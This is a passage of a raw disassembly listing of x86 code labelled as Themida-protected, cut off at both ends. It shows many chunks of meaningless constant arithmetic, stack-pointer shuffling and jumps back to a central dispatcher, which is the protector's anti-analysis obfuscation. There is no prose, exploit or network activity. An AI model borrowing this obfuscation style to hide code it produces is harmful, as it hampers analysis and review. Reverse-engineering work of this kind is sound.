sub_58960C-1BAEj sub ecx, 11D3619h add ecx, edx push edi jmp loc_58A975 ; END OF FUNCTION CHUNK FOR sub_58960C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58D594: ; CODE XREF: sub_585452+4F5j push edi jmp loc_58C15A ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58D59A: ; CODE XREF: Themida_:0058D229j mov [esp], edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop edx add esp, 4 add edx, 4 jmp loc_587EAC ; --------------------------------------------------------------------------- loc_58D5C2: ; CODE XREF: Themida_:005868A6j mov [esp], ecx mov ecx, 4 add edx, ecx pop ecx xchg edx, [esp] mov esp, [esp] jmp loc_58E928 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58D5D8: ; CODE XREF: sub_585452+96Dj inc ebx add ebx, 55D953A7h jmp loc_5880B2 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58D5E4: ; CODE XREF: Themida_:00588C3Fj xor edi, 4421321Eh add ebx, edi pop edi push edi mov edi, 2 jmp loc_585C0B ; --------------------------------------------------------------------------- loc_58D5F8: ; CODE XREF: Themida_:00584859j mov [esp], edi push esp pop edi jmp loc_58C7E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58D602: ; CODE XREF: sub_585452+362Cj mov [esp+0], ebx push esp pop ebx add ebx, 4 push edx mov edx, 4 sub ebx, edx pop edx jmp sub_587B94 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58D61B: ; CODE XREF: Themida_:00589786j sub ebx, 2D066h add edi, 7ABF52E0h add edi, 4ADF3BE4h sub edi, 795508A2h jmp loc_584470 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58D638: ; CODE XREF: sub_585452+389j sub eax, ecx pop ecx push 7FB2h mov [esp+36h+var_38+2], edi mov edi, 1A376A0Ah add eax, edi push [esp+36h+var_38+2] jmp loc_585B5D ; --------------------------------------------------------------------------- loc_58D652: ; CODE XREF: sub_585452+69FFj xor [esp-4+arg_0], ebp jmp loc_58C5EE ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58D65A: ; CODE XREF: Themida_:0058D84Fj shl ecx, 3 add ecx, 92CABD62h push ecx add dword ptr [esp], 0A241F24h pop ebp push ebx jmp loc_58AB48 ; --------------------------------------------------------------------------- loc_58D672: ; CODE XREF: Themida_:00584384j mov eax, 2FE86EBBh xor [esp+4], eax pop eax push dword ptr [esp] pop eax jmp loc_588686 ; --------------------------------------------------------------------------- loc_58D685: ; CODE XREF: Themida_:0058505Dj add ebp, 29795121h mov ecx, [esp] add esp, 4 add ebp, 2 xchg ebp, [esp] mov esp, [esp] bts [esp], ax pushf jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D7D9 loc_58D6AB: ; CODE XREF: sub_58D7D9-3AEBj add ebp, esi pop esi push ebp push [esp+8+var_4] pop ebp jmp loc_586D60 ; END OF FUNCTION CHUNK FOR sub_58D7D9 ; --------------------------------------------------------------------------- loc_58D6B9: ; CODE XREF: Themida_:005844EAj mov bh, dl pop edx sub al, bh mov bx, [esp] push esi mov esi, esp add esi, 4 add esi, 2 jmp loc_58A6C0 ; --------------------------------------------------------------------------- loc_58D6D3: ; CODE XREF: Themida_:0058EB8Ej xchg esi, [esp] pop esp push 7AADh mov [esp], esi jmp loc_58F034 ; --------------------------------------------------------------------------- loc_58D6E4: ; CODE XREF: Themida_:0058E541j mov ebx, 4 add [esp+4], ebx pop ebx jmp loc_586D08 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58D6F3: ; CODE XREF: sub_585452+53A9j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp-8+arg_4] pop esp jmp loc_5886BB ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5886E0 loc_58D70A: ; CODE XREF: sub_5886E0+15FCj pop esi shr ebp, 2 jmp loc_58988F ; END OF FUNCTION CHUNK FOR sub_5886E0 ; --------------------------------------------------------------------------- loc_58D713: ; CODE XREF: Themida_:0058DE90j add edi, 4 jmp loc_587D7C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58D71E: ; CODE XREF: sub_585452+6301j sub esi, 318B5F4Bh mov ebx, esi push [esp-0Ch+arg_8] jmp loc_584427 ; --------------------------------------------------------------------------- loc_58D72E: ; CODE XREF: sub_585452+6428j xchg esi, [esp+2+var_4+2] jmp loc_588A34 ; --------------------------------------------------------------------------- loc_58D736: ; CODE XREF: sub_585452+189Ej xor edx, 33131C07h dec edx jmp loc_58E065 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58D742: ; CODE XREF: Themida_:0058C7C9j xchg ebp, [esp] pop esp xor [esp+4], ebp pop ebp pop ecx push edx push ebx push 2262565Ch jmp loc_58C91A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CABE loc_58D758: ; CODE XREF: sub_58CABE+17j add esp, 4 add edi, 35C35490h jmp loc_58ED03 ; END OF FUNCTION CHUNK FOR sub_58CABE ; --------------------------------------------------------------------------- loc_58D769: ; CODE XREF: Themida_:005873ABj not eax shl eax, 1 push edx push 2B6226F9h pop edx or edx, 5F052BE6h xor edx, 3A79678Eh push ecx jmp loc_587CE3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58D786: ; CODE XREF: sub_585452+94A0j bt word ptr [esp+0Eh+var_10+2], ax pushf jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58D791: ; CODE XREF: Themida_:00585F5Aj mov ecx, 4 add ebp, ecx pop ecx push ebx jmp loc_5871A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58D79F: ; CODE XREF: sub_585452+7D5Aj sub ebp, esi pop esi jmp loc_58DB01 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58D7A7: ; CODE XREF: Themida_:0058C55Bj add dword ptr [esp], 4 pop esi add esi, 4 add esi, 2 xchg esi, [esp] mov esp, [esp] shl dword ptr [esp], cl pushf jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58D7C7: ; CODE XREF: sub_585452+3E41j pop eax add esp, 4 push dword ptr [edx] pop ecx pop edx push 4670h jmp loc_58EE68 ; END OF FUNCTION CHUNK FOR sub_585452 ; =============== S U B R O U T I N E ======================================= sub_58D7D9 proc near ; CODE XREF: sub_585019+1275j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00585E80 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00586D60 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005877E3 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00589CE1 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0058B666 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058D6AB SIZE 0000000E BYTES sub esp, 4 mov [esp+4+var_4], ebp mov ebp, esp jmp loc_58B666 sub_58D7D9 endp ; --------------------------------------------------------------------------- loc_58D7E6: ; CODE XREF: Themida_:0058ED71j push edi mov edi, esp add edi, 4 push edx sub esp, 4 mov [esp], ecx jmp loc_58594C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58D7FE: ; CODE XREF: sub_585452+7E34j push ecx mov ecx, esp add ecx, 4 push ebp push 4 pop ebp add ecx, ebp pop ebp push ecx push [esp+0Ah+var_8+2] jmp loc_589A59 ; --------------------------------------------------------------------------- loc_58D81B: ; CODE XREF: sub_585452+354j mov ebp, 0EFADC381h add ebp, eax mov eax, [esp+36h+var_38+2] add esp, 4 sub edx, 29AE50BBh add edx, 3BC2729Ch add edx, ebp sub edx, 3BC2729Ch jmp loc_58D457 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58D841: ; CODE XREF: Themida_:0058CD74j push 3D7832BDh mov ecx, [esp] add esp, 4 jmp loc_58D65A ; --------------------------------------------------------------------------- loc_58D854: ; CODE XREF: Themida_:0058AAFDj and edx, 283E38D1h jmp loc_58898C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58D85F: ; CODE XREF: sub_585452+A145j neg ecx shr ecx, 2 jmp loc_589321 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58D869: ; CODE XREF: Themida_:005898EDj mov [esp], edi push ecx push 12CD42B7h pop ecx neg ecx neg ecx jmp loc_583C58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58D87C: ; CODE XREF: sub_585452-F0Cj xchg eax, [esp-14h+arg_E+2] mov esp, [esp-14h+arg_E+2] shr eax, 0Ch xor eax, ecx jmp loc_58C0B8 ; --------------------------------------------------------------------------- loc_58D88C: ; CODE XREF: sub_585452-147Ej push edi jmp loc_58449E ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58D892: ; CODE XREF: Themida_:00583F1Ej add eax, ebx push ebx jmp loc_585531 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58A5A3 loc_58D89A: ; CODE XREF: sub_58A5A3+215Ej pop ecx pop esi add esi, 4 add esi, 4 xor esi, [esp+0] xor [esp+0], esi xor esi, [esp+0] mov esp, [esp+0] div ecx sub esp, 4 jmp loc_585078 ; END OF FUNCTION CHUNK FOR sub_58A5A3 ; --------------------------------------------------------------------------- loc_58D8BE: ; CODE XREF: Themida_:0058539Cj xor ebp, [esp] jmp loc_58E3D4 ; --------------------------------------------------------------------------- loc_58D8C6: ; CODE XREF: Themida_:0058AA9Cj xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] sar word ptr [esp], cl pushf jmp loc_5895E1 ; --------------------------------------------------------------------------- loc_58D8DC: ; CODE XREF: Themida_:0058CE6Aj xchg edx, [esp] pop esp push ecx mov cl, al mov [edi+38h], cl push dword ptr [esp] push dword ptr [esp] pop ecx push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_5857CC ; --------------------------------------------------------------------------- loc_58D901: ; CODE XREF: Themida_:0058D581j and dh, 25h sub dh, 25h jmp loc_584A2E ; --------------------------------------------------------------------------- loc_58D90C: ; CODE XREF: Themida_:00589ACFj shl ebp, 8 add ebp, 0DFE236Bh xor ebp, 1A2F076Eh add ebx, ebp pop ebp pop dword ptr [eax] jmp loc_58B8E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58D925: ; CODE XREF: sub_585452+3452j push esi push eax push 12885EC6h pop eax or eax, 565D481Ch shr eax, 7 jmp loc_58AEAE ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58999B loc_58D93A: ; CODE XREF: sub_58999B-12EBj add ecx, 4 xchg ecx, [esp-0Ch+arg_8] pop esp sub esp, 4 jmp loc_58CF02 ; END OF FUNCTION CHUNK FOR sub_58999B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58D94C: ; CODE XREF: sub_585452+97DCj sub ebp, edi pop edi jmp loc_584441 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C230 loc_58D954: ; CODE XREF: sub_58C230-82BBj push esp mov edi, [esp+4+var_4] add esp, 4 push eax mov eax, 8B07B56h dec eax add eax, 0F74F84AFh add edi, eax pop eax add edi, 4 xchg edi, [esp+0] pop esp jmp loc_58D333 ; END OF FUNCTION CHUNK FOR sub_58C230 ; =============== S U B R O U T I N E ======================================= sub_58D97C proc near ; CODE XREF: sub_58AB18+7B9j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00584795 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058A231 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058DBA1 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0058DC03 SIZE 00000018 BYTES sub esp, 4 mov [esp+4+var_4], eax push dword ptr [esp+4] jmp loc_58DBA1 sub_58D97C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58D98B: ; CODE XREF: sub_585452-8DDj pop esp add edx, 59CA1B27h add edx, eax sub esp, 4 mov [esp-14h+arg_E+2], eax sub esp, 4 mov [esp+0], ebx push edx jmp sub_589972 ; --------------------------------------------------------------------------- loc_58D9A6: ; CODE XREF: sub_585452-16F3j mov esp, [esp-8+arg_4] jmp loc_587449 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58AB18 loc_58D9AE: ; CODE XREF: sub_58AB18-2D1Dj not esi sub esi, 17558845h sub edx, 26C04351h add edx, esi add edx, 26C04351h pop esi jmp loc_58B2C7 ; END OF FUNCTION CHUNK FOR sub_58AB18 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58D9CA: ; CODE XREF: sub_585452+BFFj jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58D9CF: ; CODE XREF: Themida_:0058D36Bj add edx, 4 jmp loc_588403 ; --------------------------------------------------------------------------- loc_58D9DA: ; CODE XREF: Themida_:0058FC31j pop esi add esp, 4 jmp loc_5863B4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F728 loc_58D9E6: ; CODE XREF: sub_58F728-8625j pop ebx push ebp mov ebp, 47553D09h or ebp, 71893BD9h jmp loc_58B266 ; END OF FUNCTION CHUNK FOR sub_58F728 ; --------------------------------------------------------------------------- loc_58D9F8: ; CODE XREF: Themida_:0058A142j add esi, ebx sub esi, 1DA6558Ah sub esi, 5F5C3184h add esi, 2F1B4C24h pop ebx xchg esi, [esp] mov esp, [esp] mul cx push small 3EC6h mov [esp], dx push ax pushf jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58DA26: ; CODE XREF: sub_585452+A8ACj add eax, ebp pop ebp jmp loc_58FAE4 ; END OF FUNCTION CHUNK FOR sub_585452 ; =============== S U B R O U T I N E ======================================= sub_58DA2E proc near ; CODE XREF: sub_585452+A5C3j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00584FDF SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005867F5 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00586CA1 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00587E47 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005899BC SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00589F74 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0058B402 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058B589 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058BC9B SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058CDF6 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058FBAD SIZE 00000012 BYTES sub esp, 2 mov word ptr [esp+4+var_4], cx jmp loc_586CA1 sub_58DA2E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58DA3A: ; CODE XREF: sub_585452+5F80j jmp loc_583C20 ; --------------------------------------------------------------------------- loc_58DA3F: ; CODE XREF: sub_585452+1774j add edx, 4EF31F7Ah and ecx, edx jmp loc_584342 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C230 loc_58DA4C: ; CODE XREF: sub_58C230-48Dj add esi, ebp jmp loc_5887CC ; END OF FUNCTION CHUNK FOR sub_58C230 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58AB18 loc_58DA53: ; CODE XREF: sub_58AB18-5A28j xor [esp-4+arg_0], eax xor eax, [esp-4+arg_0] mov esp, [esp-4+arg_0] mov [esp-4+arg_0], ebx push esi mov esi, 4D5B26F2h add [esp+arg_0], esi pop esi push [esp-4+arg_0] pop eax add esp, 4 sub eax, 4D5B26F2h jmp loc_58FA98 ; END OF FUNCTION CHUNK FOR sub_58AB18 ; --------------------------------------------------------------------------- mov ax, [esp] push ecx mov ecx, esp push edi push edx mov edx, 2D015DA1h jmp loc_58E045 ; --------------------------------------------------------------------------- loc_58DA8E: ; CODE XREF: Themida_:00588B5Cj pop esi push esi mov esi, 81428Fh sub edx, esi pop esi add edx, esi add edx, 81428Fh mov esi, [esp] jmp loc_58775D ; --------------------------------------------------------------------------- loc_58DAA8: ; CODE XREF: Themida_:00583F52j push 462Ah mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_58B4FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_586A34 loc_58DABD: ; CODE XREF: sub_586A34+5CF2j mov ebx, 3DF96FE5h shl ebx, 3 or ebx, 56F619ADh dec ebx jmp loc_58D532 ; END OF FUNCTION CHUNK FOR sub_586A34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589967 loc_58DAD1: ; CODE XREF: sub_589967+23A7j sub ebp, 0C36500CBh sub esi, ebp pop ebp neg esi sub esi, 0CF3832DBh sub eax, 2BFC0E3Dh add eax, esi jmp loc_58EEC5 ; END OF FUNCTION CHUNK FOR sub_589967 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58DAEE: ; CODE XREF: sub_585452+63B2j inc edi jmp loc_58FC00 ; --------------------------------------------------------------------------- loc_58DAF4: ; CODE XREF: sub_585452+1C44j xor ecx, 468EACC4h sub edi, ecx jmp loc_58CBF4 ; --------------------------------------------------------------------------- loc_58DB01: ; CODE XREF: sub_585452+8350j shr ebp, 5 push esi mov esi, offset byte_4D68A5 sub ebp, esi jmp loc_5858E6 ; --------------------------------------------------------------------------- loc_58DB11: ; CODE XREF: sub_585452+A21j sub ebx, edx pop edx add ebx, edi push eax push esi jmp loc_58B694 ; --------------------------------------------------------------------------- loc_58DB1D: ; CODE XREF: sub_585452+6D85j add dword ptr [ecx], 1 pop ecx mov ebx, [esp+0] add esp, 4 ; END OF FUNCTION CHUNK FOR sub_585452 ; =============== S U B R O U T I N E ======================================= sub_58DB2A proc near ; CODE XREF: sub_585452+319Cj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], edi push 3FA6h mov [esp+8+var_8], ebx xor [esp+8+var_8], 2CD32A94h pop edi xor edi, 2CD32A94h push esi mov esi, edi sub esp, 4 mov [esp+0Ch+var_C], esi push [esp+0Ch+var_C] pop eax add esp, 4 jmp loc_585983 sub_58DB2A endp ; --------------------------------------------------------------------------- loc_58DB5E: ; CODE XREF: Themida_:0058FD7Aj pop edx push edx pop ecx push dword ptr [esp] jmp loc_584504 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58DB69: ; CODE XREF: sub_585452-F97j shr ebx, 5 jmp loc_5873E5 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58DB71: ; CODE XREF: sub_58EFBD-5B76j xor eax, edi pop edi push eax xor [esp+8+var_8], 0E5938EDh pop ebp xor ebp, 0E5938EDh jmp loc_5881BC ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- loc_58DB88: ; CODE XREF: Themida_:0058770Dj push ebp mov ebp, 64062EE7h sub ebp, 26B815C7h jmp loc_58488E ; --------------------------------------------------------------------------- loc_58DB99: ; CODE XREF: Themida_:00583C6Fj mov edi, [esp] jmp loc_58DE0A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D97C loc_58DBA1: ; CODE XREF: sub_58D97C+Aj mov eax, [esp+8+var_8] add esp, 4 pop [esp+4+var_4] not eax xchg eax, [esp+0] mov eax, [esp+0] add esp, 4 push edi sub esp, 4 mov [esp+4+var_4], ecx jmp loc_584795 ; END OF FUNCTION CHUNK FOR sub_58D97C ; --------------------------------------------------------------------------- loc_58DBC7: ; CODE XREF: Themida_:00589A8Ej sub edx, 0F24B16E3h and ecx, edx jmp loc_585FC1 ; --------------------------------------------------------------------------- loc_58DBD4: ; CODE XREF: Themida_:0058ECDDj mov ah, dl mov bh, ah jmp loc_58E391 ; --------------------------------------------------------------------------- loc_58DBDD: ; CODE XREF: Themida_:0058CE1Bj mov [esp], esp jmp loc_5892AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58DBE5: ; CODE XREF: sub_585452+1834j mov [esp+12h+var_14+2], ebp push esp pop ebp add ebp, 4 push esi mov esi, 4 add ebp, 2A557F80h sub ebp, esi jmp loc_585C41 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D97C loc_58DC03: ; CODE XREF: sub_58D97C-91E2j push ecx push edi mov edi, 31827AF3h sub [esp+0Ch+var_8], edi pop edi pop edi add edi, 31827AF3h jmp loc_58A231 ; END OF FUNCTION CHUNK FOR sub_58D97C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_58DC1B: ; CODE XREF: sub_58FA66-997Bj xchg eax, [esp-4+arg_0] jmp loc_58AF03 ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58DC23: ; CODE XREF: sub_585452+7FA9j add cl, 29h add bl, cl pop ecx movzx eax, al pop small word ptr [edi+eax*4] jmp loc_583C20 ; --------------------------------------------------------------------------- loc_58DC35: ; CODE XREF: sub_585452+3969j mov ebx, 57894170h add ebx, 0A876BE94h add eax, ebx jmp loc_58BA0D ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58DC47: ; CODE XREF: sub_58EFBD-306Aj sub eax, 76C11409h push ebx push ebp mov ebp, 43BB711Bh jmp loc_5874D7 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- loc_58DC58: ; CODE XREF: Themida_:00587085j mov eax, esp sub esp, 4 mov [esp], ebx push 0E18h mov [esp], ecx mov ecx, 1CC17831h mov ebx, ecx jmp loc_5868D6 ; --------------------------------------------------------------------------- loc_58DC74: ; CODE XREF: Themida_:0058A9C1j push ecx push esi loc_58DC76: ; DATA XREF: Themida_:00581041o push 1D2C79C9h pop esi xor esi, 1D2C79CDh mov ecx, esi pop esi add [esp+4], ecx pop ecx push dword ptr [esp] pop ebp push ebp mov ebp, esp jmp loc_5899D5 ; --------------------------------------------------------------------------- lodsw push small 1559h mov [esp], cx push small 474Ch jmp loc_588AC1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58DCA9: ; CODE XREF: sub_585452+A735j sub al, 4Fh sub al, cl add al, 4Fh pop ecx sub al, dl add al, 46h pop edx sub al, dh jmp loc_584B86 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CCD7 loc_58DCBC: ; CODE XREF: sub_58CCD7-837Bj mov [esp+4+var_4], eax mov eax, 4 add edx, eax mov eax, [esp+4+var_4] add esp, 4 add edx, 4 xchg edx, [esp+0] pop esp pop ebx ; END OF FUNCTION CHUNK FOR sub_58CCD7 ; =============== S U B R O U T I N E ======================================= sub_58DCD4 proc near ; CODE XREF: sub_585452+578Dj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00587492 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005882DE SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058E2FA SIZE 00000009 BYTES sub esp, 4 mov [esp+4+var_4], ebx sub esp, 4 mov [esp+8+var_8], edx push ecx jmp loc_5882DE sub_58DCD4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58A170 loc_58DCE9: ; CODE XREF: sub_58A170+10j sub cl, 0D7h add al, cl pop ecx push ebx mov bl, al mov ch, bl pop ebx pop eax jmp loc_58B9F6 ; END OF FUNCTION CHUNK FOR sub_58A170 ; --------------------------------------------------------------------------- loc_58DCFB: ; CODE XREF: Themida_:00589862j sub esp, 4 jmp loc_586507 ; --------------------------------------------------------------------------- loc_58DD06: ; CODE XREF: Themida_:0058ECFEj add edi, 4 xchg edi, [esp] pop esp sub ebp, eax pop eax sub eax, 21B143BDh sub eax, ebp add eax, 21B143BDh push dword ptr [esp] mov ebp, [esp] jmp loc_589662 ; --------------------------------------------------------------------------- loc_58DD2A: ; CODE XREF: Themida_:0058BD62j push ebp mov ebp, esp jmp loc_588D32 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58DD32: ; CODE XREF: sub_585452-145Cj sub [edx+30h], edi mov edi, [esp+0Ch+var_C] add esp, 4 add dword ptr [edx+30h], 1 xchg ecx, [edx+30h] inc ecx xchg ecx, [edx+30h] xor dword ptr [edx+30h], 34271F77h sub dword ptr [edx+30h], 3EA21F09h sub dword ptr [edx+30h], 7B07F20Ch sub [edx+30h], edi push [esp+8+var_8] pop edi add esp, 4 popa popf retn ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B5756 loc_58DD70: ; CODE XREF: sub_5B5756-2E616j xor ch, 3Eh add al, ch pop ecx pop cx sub esp, 4 jmp loc_583F57 ; END OF FUNCTION CHUNK FOR sub_5B5756 ; =============== S U B R O U T I N E ======================================= sub_58DD80 proc near ; CODE XREF: sub_585452+744j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058CEC6 SIZE 00000030 BYTES push ebx jmp loc_58CEC6 sub_58DD80 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58DD86: ; CODE XREF: sub_585452+60FAj inc ah and ah, 98h jmp sub_58EDD1 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58DD90: ; CODE XREF: sub_58EFBD-6A13j mov ebp, 73C74477h mov esi, ebp jmp loc_58F054 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58DD9C: ; CODE XREF: sub_585452+7316j mov esi, 2964EC0h xor edx, esi jmp loc_58C022 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58DDA8: ; CODE XREF: Themida_:0058F482j push 93Ch mov [esp], esp push esi jmp loc_589627 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58999B loc_58DDB6: ; CODE XREF: sub_58999B+6490j push [esp-0Ch+arg_C] jmp loc_5872E3 ; END OF FUNCTION CHUNK FOR sub_58999B ; --------------------------------------------------------------------------- loc_58DDBF: ; CODE XREF: Themida_:005877D8j mov edx, esp jmp loc_58588A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CF6A loc_58DDC6: ; CODE XREF: sub_58CF6A+3j add ebp, 4 push ecx mov ecx, 1A2D2A85h not ecx jmp sub_5886E0 ; END OF FUNCTION CHUNK FOR sub_58CF6A ; --------------------------------------------------------------------------- loc_58DDD9: ; CODE XREF: Themida_:0058F998j mov ecx, esp push edx push ebp push 0C35216Dh pop ebp dec ebp sub ebp, 0BC0D1E03h mov edx, ebp pop ebp add edx, 7F430C94h add edx, 3094F007h add ecx, edx jmp loc_583EEA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58DE00: ; CODE XREF: sub_585452+1006j pop ebx sub dl, 1 push ebx jmp loc_5860BC ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58DE0A: ; CODE XREF: Themida_:0058DB9Cj add esp, 4 jmp loc_58E977 ; --------------------------------------------------------------------------- push dword ptr [edx] jmp loc_583C20 ; --------------------------------------------------------------------------- loc_58DE19: ; CODE XREF: Themida_:00583EFBj add esp, 4 jmp loc_58A497 ; --------------------------------------------------------------------------- loc_58DE21: ; CODE XREF: Themida_:0058BFFFj mov [esp], edx push 73B1DC6h jmp loc_5871F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58DE2E: ; CODE XREF: sub_585452+4039j mov ebp, 64777C36h jmp loc_58FEFC ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58DE38: ; CODE XREF: Themida_:0058AA8Dj pop ebx add edx, 3C13EBD1h sub ebx, 74E30356h jmp loc_58E4DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58960C loc_58DE4A: ; CODE XREF: sub_58960C+C99j mov ebp, 520142FFh sub esi, ebp pop ebp add esi, ebp add esi, 520142FFh pop ebp add esi, 4153247Bh xor esi, 4BA80AE3h jmp loc_58E9A3 ; END OF 